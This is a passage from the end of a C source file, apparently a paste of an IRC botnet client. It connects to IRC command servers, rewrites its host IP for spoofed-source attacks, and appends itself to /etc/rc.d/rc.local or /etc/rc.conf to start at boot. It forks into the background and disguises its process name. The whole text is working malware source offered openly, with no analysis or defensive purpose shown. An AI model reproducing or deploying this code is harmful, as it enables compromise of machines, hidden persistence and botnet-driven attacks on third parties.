  768. unsigned long m;
  769. for (i=0,d=0;d<5;d++) {
  770. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  771. if (i == strlen(str)) return;
  772. }
  773. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  774. msg[i]=0;
  775. if (!strcasecmp(msg,nick) && !spoofsm) {
  776. msg=str;
  777. for (i=0,d=0;d<3;d++) {
  778. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  779. if (i == strlen(str)) return;
  780. }
  781. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  782. msg[i]=0;
  783. if ((m = inet_addr(msg)) == -1) {
  784. if ((hostm=gethostbyname(msg)) == NULL) {
  785. Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  786. return;
  787. }
  788. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  789. }
  790. ((char*)&spoofs)[3]=((char*)&m)[0];
  791. ((char*)&spoofs)[2]=((char*)&m)[1];
  792. ((char*)&spoofs)[1]=((char*)&m)[2];
  793. ((char*)&spoofs)[0]=0;
  794. spoofsm=256;
  795. }
  796. }
  797. void _433(int sock, char *sender, char *str) {
  798. free(nick);
  799. nick=makestring();
  800. }
  801. void _NICK(int sock, char *sender, char *str) {
  802. int i;
  803. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  804. sender[i]=0;
  805. if (!strcasecmp(sender,nick)) {
  806. if (*str == ':') str++;
  807. if (nick) free(nick);
  808. nick=strdup(str);
  809. }
  810. }
  811. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  812. { "352", _352 },
  813. { "376", _376 },
  814. { "433", _433 },
  815. { "422", _376 },
  816. { "PRIVMSG", _PRIVMSG },
  817. { "PING", _PING },
  818. { "NICK", _NICK },
  819. { (char *)0, (void (*)(int,char *,char *))0 } };
  820. void con() {
  821. struct sockaddr_in srv;
  822. unsigned long ipaddr,start;
  823. int flag;
  824. struct hostent *hp;
  825. start:
  826. sock=-1;
  827. flag=1;
  828. if (changeservers == 0) server=servers[rand()%numservers];
  829. changeservers=0;
  830. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  831. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  832. if ((hp = gethostbyname(server)) == NULL) {
  833. server=NULL;
  834. close(sock);
  835. goto start;
  836. }
  837. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  838. }
  839. else srv.sin_addr.s_addr=inet_addr(server);
  840. srv.sin_family = AF_INET;
  841. srv.sin_port = htons(6667);
  842. ioctl(sock,FIONBIO,&flag);
  843. start=time(NULL);
  844. while(time(NULL)-start < 10) {
  845. errno=0;
  846. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  847. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  848. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  849. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  850. return;
  851. }
  852. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  853. sleep(1);
  854. }
  855. server=NULL;
  856. close(sock);
  857. goto start;
  858. }
  859. int main(int argc, char **argv) {
  860. int on,i;
  861. char cwd[256],*str;
  862. FILE *file;
  863. #ifdef STARTUP
  864. str="/etc/rc.d/rc.local";
  865. file=fopen(str,"r");
  866. if (file == NULL) {
  867. str="/etc/rc.conf";
  868. file=fopen(str,"r");
  869. }
  870. if (file != NULL) {
  871. char outfile[256], buf[1024];
  872. int i=strlen(argv[0]), d=0;
  873. getcwd(cwd,256);
  874. if (strcmp(cwd,"/")) {
  875. while(argv[0][i] != '/') i--;
  876. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  877. while(!feof(file)) {
  878. fgets(buf,1024,file);
  879. if (!strcasecmp(buf,outfile)) d++;
  880. }
  881. if (d == 0) {
  882. FILE *out;
  883. fclose(file);
  884. out=fopen(str,"a");
  885. if (out != NULL) {
  886. fputs(outfile,out);
  887. fclose(out);
  888. }
  889. }
  890. else fclose(file);
  891. }
  892. else fclose(file);
  893. }
  894. #endif
  895. if (fork()) exit(0);
  896. #ifdef FAKENAME
  897. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  898. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  899. #endif
  900. srand((time(NULL) ^ getpid()) + getppid());
  901. nick=makestring();
  902. ident=makestring();
  903. user=makestring();
  904. chan=CHAN;
  905. key=KEY;
  906. server=NULL;
  907. sa:
  908. #ifdef IDENT
  909. for (i=0;i<numpids;i++) {
  910. if (pids[i] != 0 && pids[i] != getpid()) {
  911. kill(pids[i],9);
  912. waitpid(pids[i],NULL,WNOHANG);
  913. }
  914. }
  915. pids=NULL;
  916. numpids=0;
  917. identd();
  918. #endif
  919. con();
  920. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  921. while(1) {
  922. unsigned long i;
  923. fd_set n;
  924. struct timeval tv;
  925. FD_ZERO(&n);
  926. FD_SET(sock,&n);
  927. tv.tv_sec=60*20;
  928. tv.tv_usec=0;
  929. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  930. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  931. unsigned int *newpids,on;
  932. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  933. pids[on-1]=0;
  934. numpids--;
  935. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  936. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  937. free(pids);
  938. pids=newpids;
  939. }
  940. if (FD_ISSET(sock,&n)) {
  941. char buf[4096], *str;
  942. int i;
  943. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  944. buf[i]=0;
  945. str=strtok(buf,"\n");
  946. while(str && *str) {
  947. char name[1024], sender[1024];
  948. filter(str);
  949. if (*str == ':') {
  950. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  951. str[i]=0;
  952. strcpy(sender,str+1);
  953. strcpy(str,str+i+1);
  954. }
  955. else strcpy(sender,"*");
  956. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  957. str[i]=0;
  958. strcpy(name,str);
  959. strcpy(str,str+i+1);
  960. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  961. if (!strcasecmp(name,"ERROR")) goto sa;
  962. str=strtok((char*)NULL,"\n");
  963. }
  964. }
  965. }
  966. return 0;
  967. }
Advertisement
Add Comment
Please, Sign In to add comment